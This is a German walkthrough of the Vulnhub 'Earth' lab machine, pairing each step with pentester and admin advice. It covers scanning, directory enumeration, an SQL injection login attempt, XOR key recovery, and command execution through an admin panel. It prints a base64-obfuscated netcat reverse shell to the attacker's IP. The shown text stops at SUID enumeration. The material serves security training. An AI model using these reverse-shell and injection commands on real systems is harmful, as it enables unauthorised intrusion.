Earth - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
nikto
vi
gobuster
dirsearch
echo
base64
nc
find
strings
cat
ltrace
touch
su

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.110	08:00:27:70:4d:31	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` dient zur Identifizierung aktiver Geräte im lokalen Netzwerk mittels ARP-Anfragen. Er listet IP-Adressen, MAC-Adressen und die dazugehörigen Hersteller auf.

Bewertung: Ein Gerät mit der IP-Adresse 192.168.2.110 wurde gefunden. Die MAC-Adresse (`08:00:27:70:4d:31`) und der Hersteller ("PCS Systemtechnik GmbH") deuten stark auf eine VirtualBox-VM hin, welche unser Zielsystem "Earth" ist.

Empfehlung (Pentester): Die IP 192.168.2.110 als Ziel für weitere Scans verwenden.
Empfehlung (Admin): Netzwerk-Monitoring und -Segmentierung können helfen, unautorisierte Geräte und Scan-Aktivitäten zu erkennen und einzudämmen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.110 -p- | grep open
22/tcp  open  ssh      OpenSSH 8.6 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
443/tcp open  ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
                    

Analyse: Dieser Befehl führt einen Nmap-Scan durch (`-sS` SYN-Scan, `-sC` Standard-Skripte, `-T5` schnelles Timing, `-AO` OS-Erkennung, `-p-` alle Ports) und filtert die Ausgabe mit `grep open`, um nur die offenen Ports anzuzeigen.

Bewertung: Drei offene Ports wurden identifiziert: * Port 22: SSH (OpenSSH 8.6) * Port 80: HTTP (Apache 2.4.51 auf Fedora) * Port 443: HTTPS (Apache 2.4.51 auf Fedora mit SSL/TLS) Dies sind die primären Dienste, die für einen Angriff zur Verfügung stehen.

Empfehlung (Pentester): Untersuche die Webdienste auf Port 80 und 443 genauer. Behalte SSH für späteren Zugriff im Auge.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Ports offen sind. Halte die Dienste (SSH, Apache, OpenSSL) aktuell und sicher konfiguriert.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.110 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-28 00:04 CEST
Nmap scan report for earth (192.168.2.110)
Host is up (0.00015s latency).
Not shown: 65473 filtered tcp ports (no-response), 59 filtered tcp ports (admin-prohibited)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey:
|   256 5b2c3fdc8b76e9217bd05624dfbee9a8 (ECDSA)
|_  256 b03c723b722126ce3a84e841ecc8f841 (ED25519)
80/tcp  open  http     Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-title: Bad Request (400)
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
443/tcp open  ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-title: Bad Request (400)
| ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space
| Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
| Not valid before: 2021-10-12T23:26:31
|_Not valid after:  2031-10-10T23:26:31
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
| tls-alpn:
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:70:4D:31 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.4
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms earth (192.168.2.110)
                    

Analyse: Dies ist die vollständige Ausgabe des vorherigen Nmap-Scans. Zusätzliche Details: * SSH-Hostkeys werden angezeigt. * Die HTTP-Titel für Port 80 und 443 sind "Bad Request (400)". Dies deutet darauf hin, dass der Webserver möglicherweise einen bestimmten Hostnamen im HTTP-Request erwartet (Virtual Hosting). * Das SSL-Zertifikat auf Port 443 ist selbstsigniert oder für `earth.local` ausgestellt und enthält alternative Namen (Subject Alternative Name - SAN): `earth.local` und `terratest.earth.local`. * Die Betriebssystemerkennung deutet auf Linux (Kernel 4.x/5.x) hin, ist aber unsicher.

Bewertung: Der "Bad Request"-Titel und die Hostnamen im SSL-Zertifikat (`earth.local`, `terratest.earth.local`) sind entscheidende Hinweise. Der Webserver ist wahrscheinlich so konfiguriert, dass er nur auf Anfragen an diese spezifischen Hostnamen antwortet. Die Entdeckung dieser Subdomains ist ein wichtiger Schritt.

Empfehlung (Pentester): Füge die gefundenen Hostnamen (`earth.local`, `terratest.earth.local`) zur lokalen `/etc/hosts`-Datei hinzu, um sie der IP-Adresse 192.168.2.110 zuzuordnen. Greife dann auf die Webdienste über diese Hostnamen zu (z.B. `http://earth.local`, `https://earth.local`, `https://terratest.earth.local`).
Empfehlung (Admin): Wenn Virtual Hosting verwendet wird, stelle sicher, dass die Konfiguration beabsichtigt ist. Selbstsignierte Zertifikate sollten in Produktionsumgebungen vermieden werden; stattdessen gültige Zertifikate von einer anerkannten Zertifizierungsstelle verwenden.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.110
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.110
+ Target Hostname:    192.168.2.110
+ Target Port:        80
+ Start Time:         2023-05-28 00:05:24 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /tT0V5oFy.php#: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie csrftoken created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ Python/3.9 appears to be outdated (current is at least 3.9.6).
+ OpenSSL/1.1.1l appears to be outdated (current is at least 3.0.7). OpenSSL 1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023.
+ Apache/2.4.51 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8907 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2023-05-28 00:06:48 (GMT2) (84 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: `nikto` wird gegen die IP-Adresse auf Port 80 ausgeführt. Es findet: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * CSRF-Token-Cookie ohne `HttpOnly`-Flag (könnte über JavaScript zugänglich sein). * Veraltete Versionen von Python, OpenSSL und Apache. * Aktive HTTP TRACE-Methode (potenzielles Risiko für Cross-Site Tracing - XST). * Directory Indexing im `/icons/`-Verzeichnis und eine Standard-Apache-Datei (`README`). * Eine scheinbar zufällige PHP-Datei (`/tT0V5oFy.php`) wird erwähnt, aber der Kontext ist unklar (möglicherweise ein Artefakt).

Bewertung: Nikto liefert viele Hinweise auf mögliche Fehlkonfigurationen und veraltete Software. Die fehlenden Header, das Cookie-Problem und die veralteten Versionen sind typische Angriffspunkte. Die aktive TRACE-Methode und das Directory Indexing sind ebenfalls Risiken. *Wichtig: Da Nikto gegen die IP-Adresse lief, hat es möglicherweise nicht die eigentliche(n) Webanwendung(en) gesehen, die auf den Hostnamen `earth.local` oder `terratest.earth.local` reagieren.*

Empfehlung (Pentester): Füge die Hostnamen zur `/etc/hosts`-Datei hinzu und führe `nikto` (und andere Web-Enumeration-Tools) erneut gegen die Hostnamen (`http://earth.local`, `https://earth.local`, `https://terratest.earth.local`) aus, um relevantere Ergebnisse zu erhalten. Untersuche das `/icons/`-Verzeichnis.
Empfehlung (Admin): Aktualisiere Apache, OpenSSL und Python. Implementiere die fehlenden Sicherheitsheader. Setze das `HttpOnly`-Flag für Cookies. Deaktiviere die HTTP TRACE-Methode. Deaktiviere Directory Indexing, es sei denn, es ist explizit erforderlich.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
 192.168.2.110    earth.local terratest.earth.local
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um die im Nmap-Scan (SSL-Zertifikat) gefundenen Hostnamen `earth.local` und `terratest.earth.local` der IP-Adresse 192.168.2.110 zuzuordnen.

Bewertung: Dies ist ein notwendiger Schritt, um korrekt mit den Webanwendungen zu interagieren, die auf diesen Hostnamen basieren.

Empfehlung (Pentester): Alle weiteren Web-Anfragen sollten nun die Hostnamen anstelle der IP-Adresse verwenden.
Empfehlung (Admin): Dies ist eine Aktion auf dem Angreifer-System.

Web Enumeration

Analyse: Nach dem Hinzufügen der Hostnamen zur `/etc/hosts`-Datei werden die Webseiten untersucht, die unter `http://earth.local` und `https://terratest.earth.local` erreichbar sind.

# Zugriff auf http://earth.local/admin/ (oder http://earth.local/admin/login)

 Earth Secure Messaging Admin  Admin Command Tool

You are not logged in. Please: href="/admin/login" Log In
                    

Analyse: Die Untersuchung von `http://earth.local` (oder Weiterleitungen davon) führt zu einer Admin-Login-Seite unter `/admin/login` für einen "Earth Secure Messaging Admin".

Bewertung: Ein Admin-Login-Panel ist ein primäres Ziel. Es muss nach Schwachstellen wie Standard-Credentials, SQL-Injection oder Brute-Force-Möglichkeiten gesucht werden.

Empfehlung (Pentester): Untersuche das Login-Formular auf Schwachstellen. Führe Verzeichnis-Scans (gobuster, dirsearch) gegen `http://earth.local` durch.
Empfehlung (Admin): Schütze Admin-Interfaces robust. Verwende starke, eindeutige Passwörter, implementiere Multi-Faktor-Authentifizierung (MFA), schütze gegen Brute-Force-Angriffe (z.B. Account Lockout, Captchas) und teste auf SQL-Injection und andere Web-Schwachstellen.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://earth.local -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://earth.local
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              [...]
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2023/05/28 01:30:15 Starting gobuster in directory enumeration mode
===============================================================
http://earth.local/admin                       (Status: 301) [Size: 0] [--> /admin/]
http://earth.local/poweredby.png        (Status: 200) [Size: 5714]

===============================================================
2023/05/28 01:32:05 Finished
===============================================================
                    

Analyse: `gobuster` wird gegen `http://earth.local` ausgeführt, um nach Verzeichnissen und Dateien zu suchen. Es findet das Verzeichnis `/admin` (das zu `/admin/` weiterleitet) und eine Bilddatei `/poweredby.png`.

Bewertung: Bestätigt das `/admin`-Verzeichnis. Die Bilddatei ist wahrscheinlich irrelevant. Keine weiteren versteckten Pfade auf dieser Domain gefunden.

Empfehlung (Pentester): Konzentriere dich auf das `/admin`-Verzeichnis und die andere Subdomain `terratest.earth.local`.
Empfehlung (Admin): Stelle sicher, dass keine sensiblen Informationen durch Verzeichnis-Scans preisgegeben werden.

# Versuch einer SQL-Injection im Login-Formular von http://earth.local/admin/login
# (oder möglicherweise auf terratest.earth.local, Kontext unklar)

Username: ' OR 1=1 -- -
Password: ' OR 1=1 -- -
                    

Analyse: Es wird ein Versuch einer einfachen SQL-Injection im Login-Formular gezeigt. Die Eingabe `' OR 1=1 -- -` zielt darauf ab, die WHERE-Klausel der SQL-Abfrage zur Benutzerauthentifizierung so zu manipulieren, dass sie immer wahr (`1=1`) ergibt. `-- -` ist ein Kommentarzeichen in SQL, um den Rest der ursprünglichen Abfrage zu ignorieren.

Bewertung: Obwohl der Versuch gezeigt wird, gibt der Berichtstext keine Hinweise darauf, dass diese spezielle Injection erfolgreich war. Der weitere Verlauf deutet darauf hin, dass gültige Zugangsdaten gefunden wurden. Es ist jedoch gut, solche Standard-Angriffsversuche zu dokumentieren.

Empfehlung (Pentester): Teste verschiedene SQL-Injection-Payloads (manuell oder mit Tools wie `sqlmap`), wenn der Verdacht auf eine Schwachstelle besteht. Priorisiere jedoch das Auffinden gültiger Zugangsdaten, wenn es Hinweise darauf gibt.
Empfehlung (Admin): Verwende parametrisierte Abfragen (Prepared Statements) oder ORM (Object-Relational Mapping) Frameworks, um SQL-Injection-Schwachstellen zu verhindern. Validire und saniere alle Benutzereingaben serverseitig.

┌──(root㉿cyber)-[~] └─# dirsearch -u https://terratest.earth.local -w /usr/share/seclists/Discovery/Web-Content/common.txt

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 4715

Output File: /root/.dirsearch/reports/terratest.earth.local/_23-05-28_01-47-52.txt

Error Log: /root/.dirsearch/logs/errors-23-05-28_01-47-52.log

Target: https://terratest.earth.local/

[01:47:52] Starting:
[01:47:54] 403 -  199B  - /cgi-bin/
[01:47:57] 200 -   26B  - /index.html
[01:48:01] 200 -  521B  - /robots.txt

Task Completed
                     

Analyse: `dirsearch` ist ein weiteres Tool zur Verzeichnis- und Dateisuche, das hier gegen die HTTPS-Version der Subdomain `terratest.earth.local` eingesetzt wird. Es verwendet die Wortliste `common.txt`. Es findet: * `/cgi-bin/` (Status 403 Forbidden - Zugriff verweigert) * `/index.html` (Status 200 OK - eine einfache HTML-Seite) * `/robots.txt` (Status 200 OK)

Bewertung: Dirsearch findet eine `/robots.txt`-Datei, die für die weitere Enumeration entscheidend sein kann. Die `/index.html` scheint eine einfache Platzhalterseite zu sein.

Empfehlung (Pentester): Untersuche den Inhalt der `/robots.txt` auf `terratest.earth.local`.
Empfehlung (Admin): Stelle sicher, dass `robots.txt` keine sensiblen Pfade enthält, die nicht öffentlich bekannt sein sollen. Konfiguriere Dateiberechtigungen korrekt, um unautorisierten Zugriff (wie auf `/cgi-bin/`) zu verhindern.

Analyse: Untersuchung der auf `terratest.earth.local` gefundenen Dateien:

Bewertung: Die `robots.txt` auf `terratest.earth.local` liefert einen sehr wertvollen Hinweis auf eine Datei namens `testingnotes` (wahrscheinlich `testingnotes.txt`). Diese Datei sollte sofort untersucht werden.

Empfehlung (Pentester): Greife auf `https://terratest.earth.local/testingnotes.txt` zu und analysiere den Inhalt.
Empfehlung (Admin): Vermeide es, Hinweise auf sensible oder interne Dateien in `robots.txt` zu geben. Es ist oft besser, den Zugriff serverseitig zu beschränken, anstatt zu versuchen, Crawler durch `robots.txt` abzuhalten.

# Zugriff auf https://terratest.earth.local/testingnotes.txt

Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.
                     

Analyse: Der Inhalt der Datei `testingnotes.txt` wird angezeigt. Sie enthält wichtige Informationen: * Verwendung von XOR-Verschlüsselung ("should be safe as used in RSA" - **Achtung:** XOR ist NICHT vergleichbar sicher wie RSA!). * Hinweis auf eine Testdatei `testdata.txt`. * **Kritisch:** Der Benutzername `terra` wird für das Admin-Portal (`earth.local/admin`) verwendet.

Bewertung: Dies ist ein großer Fortschritt. Wir kennen nun den Benutzernamen (`terra`) für das Admin-Login auf `earth.local`. Die Erwähnung von XOR-Verschlüsselung und `testdata.txt` könnte ebenfalls relevant sein, möglicherweise für die Entschlüsselung der Nachrichten auf der Hauptseite `earth.local` oder zur Findung des Passworts.

Empfehlung (Pentester): 1. Versuche, dich mit dem Benutzernamen `terra` und potenziellen Passwörtern (vielleicht im Zusammenhang mit XOR oder `testdata.txt`?) im Admin-Portal (`http://earth.local/admin/login`) anzumelden. 2. Greife auf `https://terratest.earth.local/testdata.txt` zu. 3. Untersuche die XOR-verschlüsselten Nachrichten auf `http://earth.local`, um zu sehen, ob der Inhalt von `testdata.txt` oder der Schlüssel (`terra`?) zur Entschlüsselung verwendet werden kann.
Empfehlung (Admin): Hinterlasse niemals sensible Informationen wie Benutzernamen, Passwörter oder Details über interne Systeme in öffentlich zugänglichen Testnotizen oder Konfigurationsdateien. Schulen Sie Entwickler und Administratoren bezüglich sicherer Praktiken.

# Zugriff auf https://terratest.earth.local/testdata.txt

According to radiometric dating estimation and other evidence,
Earth formed over 4.5 billion years ago. Within the first billion
years of Earth's history, life appeared in the oceans and began
to affect Earth's atmosphere and surface, leading to the proliferation
of anaerobic and, later, aerobic organisms. Some geological evidence
indicates that life may have arisen as early as 4.1 billion years ago.
                     

Analyse: Zeigt den Inhalt der Datei `testdata.txt`. Es handelt sich um einen allgemeinen Text über die Entstehung der Erde.

Bewertung: Dieser Text wurde laut `testingnotes.txt` zum Testen der XOR-Verschlüsselung verwendet. Es ist möglich, dass dieser Klartext und die verschlüsselten Nachrichten auf `http://earth.local` verwendet werden können, um den XOR-Schlüssel zu finden (Known-Plaintext-Attack).

Empfehlung (Pentester): Vergleiche den Anfang dieses Klartextes mit dem Anfang der verschlüsselten Nachrichten auf `http://earth.local`. Wenn sie übereinstimmen, kann der XOR-Schlüssel durch `Klartext XOR Ciphertext = Schlüssel` berechnet werden. Dieser Schlüssel könnte das Passwort für `terra` sein.
Empfehlung (Admin): Die Verwendung von einfacher XOR-Verschlüsselung mit einem wiederverwendeten Schlüssel ist unsicher und anfällig für Known-Plaintext-Angriffe. Verwende stattdessen starke, standardisierte Verschlüsselungsalgorithmen (z.B. AES).

┌──(root㉿cyber)-[~] └─# dirsearch -u http://terratest.earth.local -w /usr/share/seclists/Discovery/Web-Content/common.txt

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 4715

Output File: /root/.dirsearch/reports/terratest.earth.local/_23-05-28_01-46-29.txt

Error Log: /root/.dirsearch/logs/errors-23-05-28_01-46-29.log

Target: http://terratest.earth.local/

[01:46:29] Starting:
[01:46:30] 301 -    0B  - /admin  ->  /admin/
[01:46:31] 403 -  199B  - /cgi-bin/

Task Completed
                    

Analyse: Ein weiterer `dirsearch`-Scan, diesmal gegen die HTTP-Version von `terratest.earth.local`. Findet nur `/admin` (Weiterleitung) und `/cgi-bin` (Forbidden).

Bewertung: Dieser Scan liefert keine neuen Informationen im Vergleich zum vorherigen HTTPS-Scan.

Empfehlung (Pentester): Konzentriere dich auf die bereits gefundenen Informationen (Username `terra`, XOR-Verschlüsselung, Testdaten).
Empfehlung (Admin): Keine zusätzlichen Maßnahmen basierend auf diesem Scan.

Analyse (Rekonstruktion): Basierend auf den vorherigen Funden (`testingnotes.txt`, `testdata.txt`, XOR-Nachrichten auf `http://earth.local`) wird der XOR-Schlüssel ermittelt. Der Known-Plaintext-Angriff (Vergleich von `testdata.txt` mit den verschlüsselten Nachrichten) ergibt wahrscheinlich einen sich wiederholenden Schlüssel. Der Berichtstext zeigt direkt den resultierenden Schlüssel/Passwort.

Passwort/Schlüssel: earthclimatechangebad4humans
                    
# Login auf http://earth.local/admin/login

Username: terra
Password: earthclimatechangebad4humans
                    

Bewertung: Durch Analyse der XOR-Verschlüsselung und der Testdaten konnte der Schlüssel `earthclimatechangebad4humans` ermittelt werden. Dieser Schlüssel funktioniert als Passwort für den Benutzer `terra` im Admin-Panel auf `http://earth.local`.

Empfehlung (Pentester): Melde dich im Admin-Panel an und untersuche die verfügbaren Funktionen, insbesondere auf Möglichkeiten zur Codeausführung (RCE).
Empfehlung (Admin): Verwende niemals schwache Verschlüsselungsalgorithmen wie einfaches XOR mit wiederholendem Schlüssel. Setze starke, zufällige und eindeutige Passwörter für Admin-Konten ein.

Initial Access

Admin Command Tool
Log Out
Welcome terra, run your CLI command on Earth Messaging Machine (use with care).

CLI command:
[Run command]
Command output:
                    

Analyse: Nach dem erfolgreichen Login als Benutzer `terra` im Admin-Panel wird eine Oberfläche angezeigt, die es erlaubt, CLI-Befehle (Command Line Interface) auf der "Earth Messaging Machine" auszuführen.

Bewertung: Dies ist eine kritische Schwachstelle: Remote Code Execution (RCE) als der Benutzer, unter dem der Webserver läuft (wahrscheinlich `apache` oder `www-data`). Wir können beliebige Befehle auf dem Zielsystem ausführen.

Empfehlung (Pentester): Nutze die RCE-Funktion, um eine Reverse Shell zum Angreifer-System aufzubauen. Führe grundlegende Befehle wie `id`, `whoami`, `pwd`, `ls` aus, um den Kontext zu verstehen.
Empfehlung (Admin): **Höchst kritisch!** Entferne sofort jegliche Funktionalität, die es Benutzern (selbst Administratoren) erlaubt, beliebige Systembefehle über eine Weboberfläche auszuführen. Wenn solche Funktionen benötigt werden, müssen sie extrem abgesichert und auf absolut notwendige, vordefinierte Befehle beschränkt werden.

Admin Command Tool
Log Out
Welcome terra, run your CLI command on Earth Messaging Machine (use with care).

CLI command: id;
[Run command]
Command output: uid=48(apache) gid=48(apache) groups=48(apache)
                    

Analyse: Der Befehl `id` wird über das Admin-Panel ausgeführt.

Bewertung: Die Ausgabe `uid=48(apache)` bestätigt, dass die Befehle als Benutzer `apache` ausgeführt werden. Wir haben nun initialen Zugriff auf das System als dieser Benutzer.

Empfehlung (Pentester): Etabliere eine Reverse Shell für eine stabilere und interaktivere Sitzung als Benutzer `apache`.
Empfehlung (Admin): Das Prinzip der geringsten Rechte anwenden. Der Webserver-Benutzer (`apache`) sollte nur minimale Rechte haben und keinen Zugriff auf unnötige Systembereiche oder Befehle.

┌──(root㉿cyber)-[~] └─# echo 'nc -e /bin/bash 192.168.2.113 4444' | base64
bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xMTMgNDQ0NAo=
┌──(root㉿cyber)-[~] └─# echo "nc -e /bin/bash 192.168.2.113 4444" | base64
bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xMTMgNDQ0NAo=
# Kommando für das Admin-Panel:
echo 'bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xMTMgNDQ0NAo=' | base64 -d | bash
                    

Analyse: 1. Der Befehl `nc -e /bin/bash 192.168.2.113 4444` soll eine Reverse Shell zur Angreifer-IP `192.168.2.113` auf Port `4444` aufbauen (`-e /bin/bash` führt Bash bei eingehender Verbindung aus, eine gängige, aber oft nicht verfügbare Option von `nc`). 2. Dieser Befehl wird mittels `echo ... | base64` Base64-kodiert. Das Ergebnis ist `bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xMTMgNDQ0NAo=`. Die Kodierung dient dazu, problematische Zeichen (wie Leerzeichen, Slashes, etc.) zu umgehen, die möglicherweise vom Web-Interface oder der dahinterliegenden Shell falsch interpretiert werden könnten. 3. Der finale Befehl, der im Admin-Panel ausgeführt werden soll, ist `echo '...' | base64 -d | bash`. Er dekodiert den Base64-String (`base64 -d`) und leitet den resultierenden Befehl (`nc -e ...`) zur Ausführung an `bash` weiter.

Bewertung: Base64-Kodierung ist eine übliche Technik, um Payloads durch Filter oder zur Vermeidung von Interpretationsfehlern zu schleusen. Hier wird sie verwendet, um die Reverse-Shell-Payload sicher über das Web-Interface auszuführen.

Empfehlung (Pentester): Starte einen Netcat-Listener auf dem Angreifer-System (`nc -lvnp 4444`) und führe dann den Base64-dekodierenden Befehl im Admin-Panel aus.
Empfehlung (Admin): Implementiere serverseitige Filter und Validierungen, die nicht nur auf Klartext-Payloads, sondern auch auf kodierte Varianten achten. Web Application Firewalls (WAFs) können helfen, solche Muster zu erkennen. Beschränke die auf dem Server verfügbaren Tools (wie `nc` mit `-e`-Option, falls möglich).

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...

Analyse: Startet einen Netcat-Listener auf dem Angreifer-System. `-l` für Listen-Modus, `-v` für verbose Ausgabe, `-n` um DNS-Auflösung zu überspringen, `-p 4444` für den Port.

Bewertung: Der Listener ist bereit, die eingehende Reverse Shell vom Zielsystem zu empfangen.

Empfehlung (Pentester): Führe jetzt den vorbereiteten Base64-Befehl im Admin-Panel aus.
Empfehlung (Admin): Egress-Filterung auf der Firewall des Zielsystems kann ausgehende Verbindungen auf ungewöhnlichen Ports blockieren.

# echo "bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xMTMgNDQ0NAo=" | base64 -d | bash
                    
┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.110] 54080
                    
bash-5.1$ ls -la
total 20
dr-xr-xr-x.  17 root root  244 Nov  1  2021 .
dr-xr-xr-x.  17 root root  244 Nov  1  2021 ..
-rw-r--r--    1 root root    0 Nov  1  2021 .autorelabel
lrwxrwxrwx.   1 root root    7 Jan 26  2021 bin -> usr/bin
dr-xr-xr-x.   5 root root 4096 Oct 11  2021 boot
drwxr-xr-x   20 root root 3840 May 27 23:09 dev
drwxr-xr-x. 101 root root 8192 Nov  1  2021 etc
drwxr-xr-x.   3 root root   19 Oct 11  2021 home
lrwxrwxrwx.   1 root root    7 Jan 26  2021 lib -> usr/lib
lrwxrwxrwx.   1 root root    9 Jan 26  2021 lib64 -> usr/lib64
drwxr-xr-x.   2 root root    6 Jan 26  2021 media
drwxr-xr-x.   2 root root    6 Jan 26  2021 mnt
drwxr-xr-x.   2 root root    6 Jan 26  2021 opt
dr-xr-xr-x  186 root root    0 May 27 23:09 proc
dr-xr-x---.   3 root root  216 Nov  1  2021 root
drwxr-xr-x   35 root root 1020 May 27 23:09 run
lrwxrwxrwx.   1 root root    8 Jan 26  2021 sbin -> usr/sbin
drwxr-xr-x.   2 root root    6 Jan 26  2021 srv
dr-xr-xr-x   13 root root    0 May 27 23:09 sys
drwxrwxrwt    2 root root   40 May 27 23:09 tmp
drwxr-xr-x.  12 root root  144 Oct 11  2021 usr
drwxr-xr-x.  22 root root 4096 Oct 12  2021 var
bash-5.1$
                    

Analyse: Der Base64-kodierte Befehl wurde im Admin-Panel ausgeführt. Der Netcat-Listener auf dem Angreifer-System meldet eine eingehende Verbindung von der Ziel-IP (192.168.2.110). Wir erhalten einen Shell-Prompt (`bash-5.1$`), der bestätigt, dass wir nun eine interaktive Shell auf dem Zielsystem als Benutzer `apache` haben (wie zuvor mit `id` bestätigt). Der Befehl `ls -la` im Root-Verzeichnis wird erfolgreich ausgeführt.

Bewertung: Der initiale Zugriff als Benutzer `apache` über die RCE-Schwachstelle im Admin-Panel war erfolgreich. Wir haben eine funktionierende Reverse Shell.

Empfehlung (Pentester): Beginne mit der Privilege-Escalation-Enumeration als Benutzer `apache`. Suche nach SUID/SGID-Binaries, Kernel-Exploits, Fehlkonfigurationen, Cronjobs etc.
Empfehlung (Admin): Behebe die RCE-Schwachstelle im Admin-Panel. Untersuche die Systemprotokolle auf die ausgeführten Befehle und die etablierte Reverse Shell. Ändere das Admin-Passwort.

bash-5.1$ find / -perm -u=s 2>/dev/null
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/reset_root
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
                    

Analyse: Der Befehl `find / -perm -u=s 2>/dev/null` wird in der Reverse Shell ausgeführt, um nach Dateien mit gesetztem SUID-Bit zu suchen. Diese Programme laufen mit den Rechten des Besitzers (oft `root`), wenn sie ausgeführt werden.

Bewertung: Die Liste enthält viele Standard-SUID-Binaries. Herausstechend und ungewöhnlich ist `/usr/bin/reset_root`. Dieses Binary ist kein Standard-Linux-Programm und deutet auf eine benutzerdefinierte Anwendung hin, die möglicherweise für Privilege Escalation missbraucht werden kann. `pkexec` ist ebenfalls vorhanden, aber der Fokus liegt nun auf `reset_root`.

Empfehlung (Pentester): Untersuche das Binary `/usr/bin/reset_root` genauer. Verwende `strings`, `ltrace`, `strace` oder einen Decompiler, um seine Funktionsweise zu verstehen und potenzielle Schwachstellen zu finden.
Empfehlung (Admin): Überprüfe benutzerdefinierte SUID-Programme äußerst sorgfältig auf Sicherheitsprobleme. Entferne das SUID-Bit, wenn es nicht absolut notwendig ist und das Programm sicher implementiert wurde. Dokumentiere den Zweck und die Funktionsweise solcher Programme.

Proof of Concept: Privilege Escalation via reset_root

